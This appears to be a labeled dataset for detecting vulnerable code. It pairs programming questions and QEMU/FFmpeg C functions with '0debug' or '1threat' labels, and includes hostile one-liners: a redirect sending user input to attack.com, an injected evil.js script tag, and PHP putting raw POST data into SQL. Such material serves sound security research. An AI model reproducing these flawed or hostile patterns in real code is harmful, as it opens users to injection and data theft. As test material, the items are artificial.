problem
stringlengths
26
131k
labels
class label
2 classes
Python Pandas update a dataframe value from another dataframe : <p>I have two dataframes in python. I want to update rows in first dataframe using matching values from another dataframe. Second dataframe serves as an override. </p> <p>Here is an example with same data and code: </p> <p>DataFrame 1 : </p> <p><a hre...
0debug
Angular2 child property change not firing update on bound property : <p>I have a simple custom directive with an input, that I'm binding to in my component. But for whatever reason, the ngOnchanges() method doesn't fire when changing a child property of the input property.</p> <p>my.component.ts</p> <pre><code>import...
0debug
how can we run protractor specs in firefox? : how we run protractor on fire fox for automation ? is it possible then mention version of fire fox,selenium,nodejs .i try yhis code capabilities: { 'browserName': 'firefox' // or 'safari' },
0debug
static int pci_piix4_ide_initfn(PCIDevice *dev) { PCIIDEState *d = DO_UPCAST(PCIIDEState, dev, dev); pci_config_set_vendor_id(d->dev.config, PCI_VENDOR_ID_INTEL); pci_config_set_device_id(d->dev.config, PCI_DEVICE_ID_INTEL_82371AB); return pci_piix_ide_initfn(d); }
1threat
React JS Error: Invalid attempt to destructure non-iterable instance : <p>I have a sort filter that takes an array to populate the options. Trying to see the option <code>value</code> equal to the text within the array but I get the error within the title: </p> <pre><code>Invalid attempt to destructure non-iterable in...
0debug
Do I need to escape dash character in regex? : <p>I'm trying to understand dash character <code>-</code> needs to escape using backslash in regex?</p> <p>Consider this:</p> <pre><code>var url = '/user/1234-username'; var pattern = /\/(\d+)\-/; var match = pattern.exec(url); var id = match[1]; // 1234 </co...
0debug
Picking a city and display content : <p>am new to web development i have developed one website and now i want to place a text field on top corner and give options to pick a city and display content based on selected city. for example: in a web page i should have a text box, if i enter some city name it should display t...
0debug
Skimage: how to show image : <p>I am novice at skimage and I try to show the image in my ipython notebook:\</p> <pre><code>from skimage import data, io coins = data.coins() io.imshow(coins) </code></pre> <p>But I see only the following string:</p> <pre><code>&lt;matplotlib.image.AxesImage at 0x7f8c9c0cc6d8&gt; </cod...
0debug
filter syntax where some items may or may not be selected : <p>I've got 3 dropdown boxes on my asp.net form: Country, State and City. I want to use these to filter my data. However, I also want the user to have the ability to not use the filters, or not use <em>all</em> the filters.</p> <p>For instance, they may not...
0debug
How to you write this s = ( (n % 2 ) == 0 ? "0" : "1") +s; as an if-else statement? : <p>I have this method in java:</p> <pre><code>public static string intToBinary(int n) { string s = ""; while (n &gt; 0) { s = ( (n % 2 ) == 0 ? "0" : "1") +s; n = n / 2; } return s; } </code></pre...
0debug
static void test_submit_co(void) { WorkerTestData data; Coroutine *co = qemu_coroutine_create(co_test_cb); qemu_coroutine_enter(co, &data); g_assert_cmpint(active, ==, 1); g_assert_cmpint(data.ret, ==, -EINPROGRESS); qemu_aio_wait_all(); g_assert_cmpin...
1threat
how to find if a record has roman numerals in SQL Server? : <p>I want to detect records from a table (SQL Server) if it has roman numerals.</p> <p>Table has data as follows:</p> <pre><code> Column A | Column B ----------------------------- 1 | AMC I XYZAQS 2 | ABC IV 2 XYZQWS 3 | A...
0debug
How to re-write `while(true)` in Java Stream API : <p>Can this Java code be re-written by Stream API?</p> <pre class="lang-java prettyprint-override"><code>while (true) { ... if (isTrue()) break; } private boolean isTrue() { ... </code></pre>
0debug
Why is my SQL PHP Code not working? : <p>My PHP code is not working.</p> <pre><code>&lt;?php include config.php; function addEntryInDB() { $nxtaddr = $_POST ["txin_src"]; $nxtkey = $_POST ["txin_key"]; $coinaddr = $_POST ["txout_src"]; $burntxid = $_POST ["txid"]; $coinkey ...
0debug
i want to extract a sub string from a string in oracle sql : fnd YGY LOOKUP_TYPE = 'welcome' HELO HIASDH LOOKUP_TYPE = 'home' hello how are you? Above is the string and i want output as welcome home
0debug
Why cant we use .append with string object in java? : import java.lang.StringBuffer.*; import java.io.*; class chk { public static void main() { System.out.print('\u000c'); String k="catering"; * String l=k.append(...
0debug
Why can't I declare a thread in an if in C++? Is there a way around? : <p>I am trying to use threading in an if statement. </p> <p>The following code gives an error saying t1 in t1.join is not declared in this scope. Is there a way to make the loop skip the first thread operation and start multithreading for the other...
0debug
cant able to get length of string array : I am getting output in string format then I split it and want to do further processing, here is my code snippet, if(str != null && !str.isEmpty()){ String[] splitLine = str.split("~"); String splitData[]; int i=0; for( i=0;i<splitLine.length;i++){ spl...
0debug
Python subprocess .check_call vs .check_output : <p>My python script (python 3.4.3) calls a bash script via subprocess:</p> <pre><code>import subprocess as sp res = sp.check_output("bashscript", shell=True) </code></pre> <p>The <strong>bashscript</strong> contains the following line:</p> <pre><code>ssh -MNf somehost...
0debug
Why does this implicit cast not result in compile-time error? : <p>Just trying to understand C#. Just considering the following simplified example.</p> <pre><code>void Main() { IList&lt;IAnimal&gt; animals = new List&lt;IAnimal&gt; { new Chicken(), new Cow(), }; // Shouldn't this line ...
0debug
Correct way to change a list of strings to list of ints : <pre><code>dict = {0: ['2', '6'], 1: ['2'], 2: ['3']} print("Original: ") print(dict) for key,vals in dict.items(): vals = [int(s) for s in vals] print("New: ") print(dict) </code></pre> <p>Output:</p> <pre><code>Original: {0: ['2', '6'], 1: ['2'], 2: ...
0debug
document.write('<script src="evil.js"></script>');
1threat
how to set string b to equal a when a has spaces in it c : <p>I have a string called that can continue a value with spaces for it as an example</p> <pre><code>char *a="this is a test" </code></pre> <p>I want to declare another string</p> <pre><code>char *b=NULL; </code></pre> <p>so I can then assign the value of a ...
0debug
Covert columns of a dataframes to list : I have a data.frame NOAA_OLR_TEST NOAA_OLR_TEST <- structure(list(DATE_START = structure(c(1170720000, 1170806400,1170892800, 1170979200, 1171065600, 1171152000, 1171238400, 1171324800,1171411200, 1171497600), class = c("POSIXct", "POSIXt")), DATE_END = structure(c(117106...
0debug
e1000e_io_read(void *opaque, hwaddr addr, unsigned size) { E1000EState *s = opaque; uint32_t idx; uint64_t val; switch (addr) { case E1000_IOADDR: trace_e1000e_io_read_addr(s->ioaddr); return s->ioaddr; case E1000_IODATA: if (e1000e_io_get_reg_index(s, &idx)) ...
1threat
IntelliJ Optimize Imports for the entire scala project : <p>One of the very useful features of IntelliJ is that when I am done editing a file, I can do a "optimize imports". this removes all the unused imports from my code.</p> <p>This is very useful, but I have to do it for every file.</p> <p>Can I do "optimize impo...
0debug
How to use slugify in Python 3? : <p>I'm trying to use <a href="https://github.com/un33k/python-slugify" rel="noreferrer">slugify</a>, which I installed using <code>pip3 install slugify</code>. However, in the interpreter, if I try to slugify the string <code>'hello'</code> I see the following:</p> <pre><code>Python 3...
0debug
static void fw_cfg_comb_write(void *opaque, target_phys_addr_t addr, uint64_t value, unsigned size) { switch (size) { case 1: fw_cfg_write(opaque, (uint8_t)value); break; case 2: fw_cfg_select(opaque, (uint16_t)value); break; } }
1threat
static int ogg_new_stream(AVFormatContext *s, uint32_t serial, int new_avstream) { struct ogg *ogg = s->priv_data; int idx = ogg->nstreams++; AVStream *st; struct ogg_stream *os; ogg->streams = av_realloc (ogg->streams, ogg->nstreams * sizeof (*ogg->streams)...
1threat
cakephp - Controller::invokeAction taking lot of time : <p>I am working on cakephp 2.x. I found in the transaction trace summary of New Relic, that there are some APIs which are taking a lot of time(almost 20-30 sec) to execute out of which almost 90% of the time is spent in the Controller::invokeAction method.</p> <p...
0debug
django media url tag : <p>Does django have <code>media</code> tag similar to <code>static</code> and <code>url</code> and how to setup it?</p> <pre><code>{% static 'styles/boo.css' %} {% url 'some_app:some_name' %} Is this possible: {% media 'what here' %}? </code></pre> <p>How to setup it?</p>
0debug
Why can a python generator only be used once? : <p>Once I use a generator once, it can't be used again. Why is this?</p> <p>Consider the following code:</p> <pre><code>def generator(n): a = 1 for _ in range(n): yield a a += 1 def run_generator(generator): for a in generator: print(a, end = " ") </...
0debug
Django: How to rollback (@transaction.atomic) without raising exception? : <p>I'm using Django's command to perform some tasks involving database manipulation:</p> <pre><code>class SomeCommand(BaseCommand): @transaction.atomic def handle(self, *args, **options): # Some stuff on the database </code></pr...
0debug
Free pascal exit code 201 : <p><a href="https://i.stack.imgur.com/VSzBL.png" rel="nofollow noreferrer">my code</a></p> <p>I'm trying to make a program to generate amicable numbers under 10000, but after i pressed ctrl+f9, it exited with exit code 201. How do i fix that?</p>
0debug
static int cavs_decode_frame(AVCodecContext * avctx,void *data, int *data_size, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; AVSContext *h = avctx->priv_data; MpegEncContext *s = &h->s; int input_size; const uint8_t *buf_end...
1threat
Does a return statement end a method? : <p>Let's say I have a method, for instance, the one I'm working on is a boolean <em>Empty</em> method, that simply returns false if the list (technically it's a stack using linked lists) is empty, and returns true if it has values. </p> <p>I have an if statement that returns fal...
0debug
Register custom user model with admin auth : <p>In a Django project, I have a custom user model that adds one extra field:</p> <pre><code>class User(AbstractUser): company = models.ForeignKey(Company, null=True, blank=True) </code></pre> <p>This model is defined in my app, say <code>MyApp.models</code>.</p> <p>...
0debug
Shareable Key Value Pair in Android : <p>Good day mates! I am wondering if there are ways to create a shareable key-value pair in Android? What I meant by shareable is that a file that can be viewed in file manager. Any help will be much appreciated. Thank you very much!</p>
0debug
Golang: get a slice of tuples (hour, minute) : I've got a problem that I couldn't resolve. I've got a list of minutes: minutes := int{0, 30} // Minutes are 0 and 30 And a four parameters: `start`, `startBreak`, `stop`, `stopBreak`: start := types.NewTuple(9, 30) // It represents "9:30" startBre...
0debug
int ff_nvdec_frame_params(AVCodecContext *avctx, AVBufferRef *hw_frames_ctx, int dpb_size) { AVHWFramesContext *frames_ctx = (AVHWFramesContext*)hw_frames_ctx->data; const AVPixFmtDescriptor *sw_desc; int cuvid_codec_type, cuvid_chroma_format; ...
1threat
Twig Syntax Error in Symfony 3 : <blockquote> <p>An exception has been thrown during the compilation of a template ("Bundle "AdescBundles" does not exist or it is not enabled. Maybe you forgot to add it in the registerBundles() method of your AppKernel.php file?") in "AdescBundle:Default:index.html.twig"</p> </blockq...
0debug
void stq_phys(target_phys_addr_t addr, uint64_t val) { val = tswap64(val); cpu_physical_memory_write(addr, &val, 8); }
1threat
static int jp2_find_codestream(Jpeg2000DecoderContext *s) { int32_t atom_size; int found_codestream = 0, search_range = 10; s->buf += 12; while (!found_codestream && search_range) { atom_size = AV_RB32(s->buf); if (AV_RB32(s->buf + 4) == JP2_CODESTREAM) { fo...
1threat
Where to learn Tizen Native Wearable Basics : <p>I'm trying to develop an app for my Galaxy Watch which runs on Tizen. I'm not able to find any wholesome tutorial out there for Tizen. Do you mind recommending me some? </p> <p>Thanks</p>
0debug
Initialize new Hash Table, pointers issue : <p>I have this exercise for homework that follows:</p> <p>Consider the following definition to represent dynamic hashtables with collision treatment chaining.</p> <pre><code>typedef struct entry{ char key[10]; void *info; struct entry *next; } *Entry; typedef st...
0debug
How to select an option from dropdown select : <p>I can click the selector but my question is how to select one of the options from the dropdown list? </p> <pre><code> await page.click('#telCountryInput &gt; option:nth-child(4)') </code></pre> <p>Click the option using CSS selector does not work.</p> <p>For example...
0debug
static int decode_rle(uint8_t *bitmap, int linesize, int w, int h, const uint8_t *buf, int start, int buf_size, int is_8bit) { GetBitContext gb; int bit_len; int x, y, len, color; uint8_t *d; if (start >= buf_size) bit_len = (buf_size - start) * 8; init_get_bits(&gb, bu...
1threat
I was working on Titanic Dataset from kaggle when I faced a problem in round function : While executing the following command :- percent_2 = (round(percent_1, 1)).sort_values(ascending=False), following error occured :- "{0}".format(str(converter))) TypeError: cannot convert the series to <type 'float'>. ...
0debug
RTCState *rtc_mm_init(target_phys_addr_t base, int it_shift, qemu_irq irq, int base_year) { RTCState *s; int io_memory; s = qemu_mallocz(sizeof(RTCState)); s->irq = irq; s->cmos_data[RTC_REG_A] = 0x26; s->cmos_data[RTC_REG_B] = 0x02; s->cmos_data[RTC_REG_C]...
1threat
if else operator issue : Please check the code bellow. On first if section however all my conditions get false its not going to else. its always running the if inside codes. to be more details "ViewBag.gtQuickDate" this viewbag not containing any of value as shown bellow also other viewbags not containing the value the...
0debug
static void smbios_build_type_0_fields(const char *t) { char buf[1024]; unsigned char major, minor; if (get_param_value(buf, sizeof(buf), "vendor", t)) smbios_add_field(0, offsetof(struct smbios_type_0, vendor_str), buf, strlen(buf) + 1); if (get_param_value(buf...
1threat
static bool cmd_write_dma(IDEState *s, uint8_t cmd) { bool lba48 = (cmd == WIN_WRITEDMA_EXT); if (!s->bs) { ide_abort_command(s); return true; } ide_cmd_lba48_transform(s, lba48); ide_sector_start_dma(s, IDE_DMA_WRITE); s->media_changed = 1; return false; }...
1threat
SQL - Need to transpose the value : Need advise on how to get the output from the below table Weeks Hoursofoperation W 7-7 T 8-6 Th 8-6 Sa 9-1 M 9-6 F 9-6 [enter image description here][1] Need to get the output value as MF 9-6, TTh 8-6, W 7-7, Sa 9-1 [1]: https://i.stack.imgur.com/u14i1.jp...
0debug
void qemu_sem_wait(QemuSemaphore *sem) { #if defined(__APPLE__) || defined(__NetBSD__) pthread_mutex_lock(&sem->lock); --sem->count; while (sem->count < 0) { pthread_cond_wait(&sem->cond, &sem->lock); } pthread_mutex_unlock(&sem->lock); #else int rc; do { rc = s...
1threat
void monitor_vprintf(Monitor *mon, const char *fmt, va_list ap) { char buf[4096]; if (!mon) return; if (monitor_ctrl_mode(mon)) { return; } vsnprintf(buf, sizeof(buf), fmt, ap); monitor_puts(mon, buf); }
1threat
Don't really understand the $_SESSION variable : I'm trying to create a login form (new to php and coding) and I made it work but I don't exactly understand what I'm doing in my code and would love to understand it. I included notes about what I understand and what I dont understand in my code. 1.Anyways, my main pr...
0debug
void dump_format(AVFormatContext *ic, int index, const char *url, int is_output) { int i; uint8_t *printed = av_mallocz(ic->nb_streams); if (ic->nb_streams && !printed) return; av_log(NULL, AV_LOG_INFO, "%s #%d, %s, %s '%s':\n", ...
1threat
std::lock_guard or std::scoped_lock? : <p>C++17 introduced a new lock class called <a href="http://en.cppreference.com/w/cpp/thread/scoped_lock/scoped_lock" rel="noreferrer"><code>std::scoped_lock</code></a>. </p> <p>Judging from the documentation it looks similar to the already existing <code>std::lock_guard</code> c...
0debug
static int handle_connection(HTTPContext *c) { int len, ret; switch(c->state) { case HTTPSTATE_WAIT_REQUEST: case RTSPSTATE_WAIT_REQUEST: if ((c->timeout - cur_time) < 0) return -1; if (c->poll_entry->revents & (POLLERR | POLLHUP)) return ...
1threat
Read for inputs individualy [C] : I want to read inputs individually, that means that I enter a character, press enter and then ask for the second input. The problem is that when the program asks me to input the character it asks for both at the same time. This is my code: #include <stdio.h> int...
0debug
Calling a void method to a static main method : I've been trying to call a void method to my static main method for about two hours now. Here's what I have: public static void main(String[] args){ Scene scene = new Scene(); Animate animate = new animate(); animate(); //I've tried it...
0debug
static void uhci_frame_timer(void *opaque) { UHCIState *s = opaque; int64_t expire_time; uint32_t frame_addr, link, old_td_ctrl, val, int_mask; int cnt, ret; UHCI_TD td; UHCI_QH qh; uint32_t old_async_qh; if (!(s->cmd & UHCI_CMD_RS)) { qemu_del_timer(s->frame_timer); ...
1threat
static inline abi_long do_msgsnd(int msqid, abi_long msgp, unsigned int msgsz, int msgflg) { struct target_msgbuf *target_mb; struct msgbuf *host_mb; abi_long ret = 0; if (!lock_user_struct(VERIFY_READ, target_mb, msgp, 0)) return -TARGET_EFAULT; ho...
1threat
objective c NSArray to NSString : Server side is java: First create a string 'Hello world.' for example, and then use java code to convert this string to be a byte array, then send to ios client. My ios client use NSStream to read the data, and got the array. Now I want to convert this array to be the string 'Hell...
0debug
mypy "is not valid as a type" for types constructed with type() : <pre><code>Foo = type('Foo', (), {}) Bar = Optional[Foo] </code></pre> <p>mypy complains <code>error: Variable "packagename.Foo" is not valid as a type</code></p> <p>Is there a way around this besides doing</p> <pre><code>Class Foo: pass Bar = Op...
0debug
static void output_packet(OutputFile *of, AVPacket *pkt, OutputStream *ost) { int ret = 0; if (ost->nb_bitstream_filters) { int idx; ret = av_bsf_send_packet(ost->bsf_ctx[0], pkt); if (ret < 0) goto finish; idx = 1; while (idx) { ...
1threat
static int check_oflag_copied(BlockDriverState *bs, BdrvCheckResult *res) { BDRVQcowState *s = bs->opaque; uint64_t *l2_table = qemu_blockalign(bs, s->cluster_size); int ret; int refcount; int i, j; for (i = 0; i < s->l1_size; i++) { uint64_t l1_entry = s->l1_table[i]; ...
1threat
How to target child element in JavaScript : <p>How to target the img element in JavaScript to change img src. </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;body&g...
0debug
static inline void gen_op_movo(int d_offset, int s_offset) { tcg_gen_ld_i64(cpu_tmp1_i64, cpu_env, s_offset); tcg_gen_st_i64(cpu_tmp1_i64, cpu_env, d_offset); tcg_gen_ld_i64(cpu_tmp1_i64, cpu_env, s_offset + 8); tcg_gen_st_i64(cpu_tmp1_i64, cpu_env, d_offset + 8); }
1threat
Program type already present: BuildConfig : <p>I'm trying to generate a release build but im not able because of mutidex issues my project has all the multidex enabled and dependencies added </p> <p>The error i'm receiving is :</p> <pre><code>Execution failed for task ':app:transformClassesWithMultidexlistForRelease ...
0debug
dma_write(void *opaque, target_phys_addr_t addr, uint64_t val64, unsigned int size) { struct fs_dma_ctrl *ctrl = opaque; uint32_t value = val64; int c; if (size != 4) { dma_winvalid(opaque, addr, value); } c = fs_channel(addr); addr &= 0xff; addr >>= 2; ...
1threat
How to call javascript function from <script> tag? : <pre><code>&lt;html&gt; &lt;script&gt; //some largeFunction() //load a script dynamically based on the previous code document.write("&lt;script src='//...'&gt;&lt;\/script&gt;"); &lt;/script&gt; &lt;/html&gt; </code></pre> <p>Question: is it possible ...
0debug
Spring Boot Admin: No option to refresh configuration : <p>I am trying to integrate spring-boot-admin with an existing project which is using actuator and spring cloud config server. I am able to change the external property file and send a post request to <strong>/refresh</strong> endpoint from postman. It works fine ...
0debug
unsigned ff_dxva2_get_surface_index(const AVCodecContext *avctx, const AVDXVAContext *ctx, const AVFrame *frame) { void *surface = ff_dxva2_get_surface(frame); unsigned i; for (i = 0; i < DXVA_CONTEXT_COUNT(avctx, ctx); i++) ...
1threat
static BlockBackend *bdrv_first_blk(BlockDriverState *bs) { BdrvChild *child; QLIST_FOREACH(child, &bs->parents, next_parent) { if (child->role == &child_root) { assert(bs->blk); return child->opaque; } } assert(!bs->blk); return NULL; }
1threat
Why no Array.prototype.flatMap in javascript? : <p><code>flatMap</code> is incredibly useful on collections, but javascript does not provide one while having <code>Array.prototype.map</code>. Why?</p> <p>Is there any way to emulate <code>flatMap</code> in javascript in both easy and efficient way w/o defining <code>fl...
0debug
uint64_t helper_cvttq(CPUAlphaState *env, uint64_t a) { return inline_cvttq(env, a, FP_STATUS.float_rounding_mode, 1); }
1threat
SQLSTATE[28000] [1045] Access denied for user 'root'@'localhost' (using password: YES) Can You Help Me : I am currently working on a website for H1Z1: King of the Kill. Now, I've been facing an annoying problem for a while... I keep getting this error: SQLSTATE[28000] [1045] Access denied for user 'root'@'localhost' ...
0debug
static int rv34_decoder_alloc(RV34DecContext *r) { r->intra_types_stride = r->s.mb_width * 4 + 4; r->cbp_chroma = av_malloc(r->s.mb_stride * r->s.mb_height * sizeof(*r->cbp_chroma)); r->cbp_luma = av_malloc(r->s.mb_stride * r->s.mb_height * ...
1threat
HomeKit - Changing Lightbulb Color Without Transition : <p>I am making an app that uses HomeKit enabled lights for notifications. When I write a new value to the hue characteristic of a lightbulb, the color is transitioned from it's current hue to the hue written. So instead of going from it's currently color (let's sa...
0debug
Chrome dev tools fails to show response even the content returned has header Content-Type:text/html; charset=UTF-8 : <p>Why does my chrome developer tools show "Failed to show response data" in response when the content returned is of type text/html?</p> <p>What is the alternative to see the returned response in devel...
0debug
Can you use @ViewChild() or similar with a router-outlet? How if so? : <p>I repeatedly run into a situation where I'd like to access a child component existing on the other side of a router outlet rather than a selector:</p> <pre><code>Like: &lt;router-outlet&gt;&lt;/router-outlet&gt; NOT: &lt;selector-name&gt;&lt;/s...
0debug
Java - how do i set a value every "n" minute : <p>double x = 0;</p> <p>every 20 minutes the x shall add by 5. every 30 minutes the x shall add by 6. every hour the x shall add by 12.</p> <p>and every remaining second shall add by 0.2</p>
0debug
Select/deselect checkbox buttons in Swift 3 : How to know my button selected or not in swift 3 `.selected` property not found. when i type ButtonName.selected not found in Swift 3 (Xcode 8.0) if let button = sender as? UIButton { if button.selected { // set selected ...
0debug
Set time but for every day in ruby : I am new to Ruby and I made something to test the time but i dont know how i create a fix time for every day.If i would want to use it i would need to change it every day. Got some tips for me? This is the Code: time1 = Time.new puts time1.strftime("%H:%M:%S") ...
0debug
Delete record from database - C# : I'm trying to delete record from data base MSSQL by entering the ID and hit delete btn. i didn't get any error and it give recorded deleted successful but once i check database i see the record doesn't deleted protected void btnDelete_Click(object sender, EventArgs e) { ...
0debug
SignInManager.PasswordSignInAsync generate many database access : <p>In my application, I use ASP.NET Identity. Every thing is work fine but by testing, I found that the following command produces many database accesses: SignInManager.PasswordSignInAsync:</p> <pre><code>var result = await SignInManager.PasswordSignInA...
0debug
using setTimeout on promise chain : <p>Here i am trying to wrap my head around promises.Here on first request i fetch a set of links.and on next request i fetch the content of first link.But i want to make a delay before returning next promise object.So i use setTimeout on it.But it gives me the following JSON error (<...
0debug
C# creating objects in bulk takes lot of time even after using Parllel.Foreach : I am trying to create objects in bulk (> 4000), it takes more than 8 secs. allrows is list<object[]> with 4000 records. ConcurrentBag<data> lstdatas= new ConcurrentBag<data>(); Parallel.ForEach(allRows, (row) => { ...
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
How to generate a list of numbers which made from n digit? : <p>how many numbers can we generate from n digit? For example: from 1,2,3, we can generate 1,2,3,12,13,21,....321. And how can we generate a list containing those numbers in python?</p>
0debug
How to make Twitter Bootstrap (Bootstap 4 beta) menu dropdown on hover rather than click : How to make Twitter Bootstrap (Bootstap 4 beta) menu dropdown on hover rather than click here is my code PS: I need in an example a hover on a submenu dropdown <!-- Header --> <div> <nav id="mainNavbar" class="nav...
0debug
static int dshow_read_packet(AVFormatContext *s, AVPacket *pkt) { struct dshow_ctx *ctx = s->priv_data; AVPacketList *pktl = NULL; while (!ctx->eof && !pktl) { WaitForSingleObject(ctx->mutex, INFINITE); pktl = ctx->pktl; if (pktl) { *pkt = pktl->pkt; ...
1threat
ajax post is not sending param : Req :in web application using struts/velocity javascript need to pass parameter to a method in java class. I have used ajax post call to servlet. But not able to receive the parameter in action class. javascript function ---------------------- funtion posttoservlet(){ ...
0debug
Best way to handle false unused imports in intellij : <p>Intellij falsely marked some import of Scala implicits as not being use. Is there a way to prevent it from deleting those import when optimized them explicitly for a specific import and not prevent optimized import for the entire project ? </p>
0debug
Glide Loader is not Loading Image Properly : I am Using Glide Loader to load my images. my code is working but it changes images continuously.... Here is my Code Glide.with(ctx).load(image).asBitmap() .dontTransform() .placeholder(R.drawable.cart) ...
0debug
what does VOLUME command do in Dockerfile? : <p>I am having it difficulty in understanding added advantage of VOLUME(<a href="https://docs.docker.com/engine/reference/builder/#volume" rel="noreferrer">https://docs.docker.com/engine/reference/builder/#volume</a>) . </p> <p>In Dockerfile one can have mkdir to create a d...
0debug
static int vnc_client_io_error(VncState *vs, int ret, int last_errno) { if (ret == 0 || ret == -1) { if (ret == -1) { switch (last_errno) { case EINTR: case EAGAIN: #ifdef _WIN32 case WSAEWOULDBLOCK: #endif return 0; ...
1threat
How to make scatterplots according to specific requirements of color? : <pre><code>colored = c('red','blue','yellow') plot(iris$Petal.length,iris$Petal.Width) </code></pre> <p>I was trying to plot iris$Pedal.width and iris$Pedal.length, and I wanted the color to follow the species of the flowers.(there are 3 species '...
0debug
ionic 2 error cordova not available : <p>I am trying to use the cordova GooglePlus plugin in a new ionic 2 project (latest ionic2 version) but I always run into errors regarding cordova. The plugin is properly installed and shows up in the plugin folder.</p> <p>One approach I tried is this:</p> <pre><code>import { Go...
0debug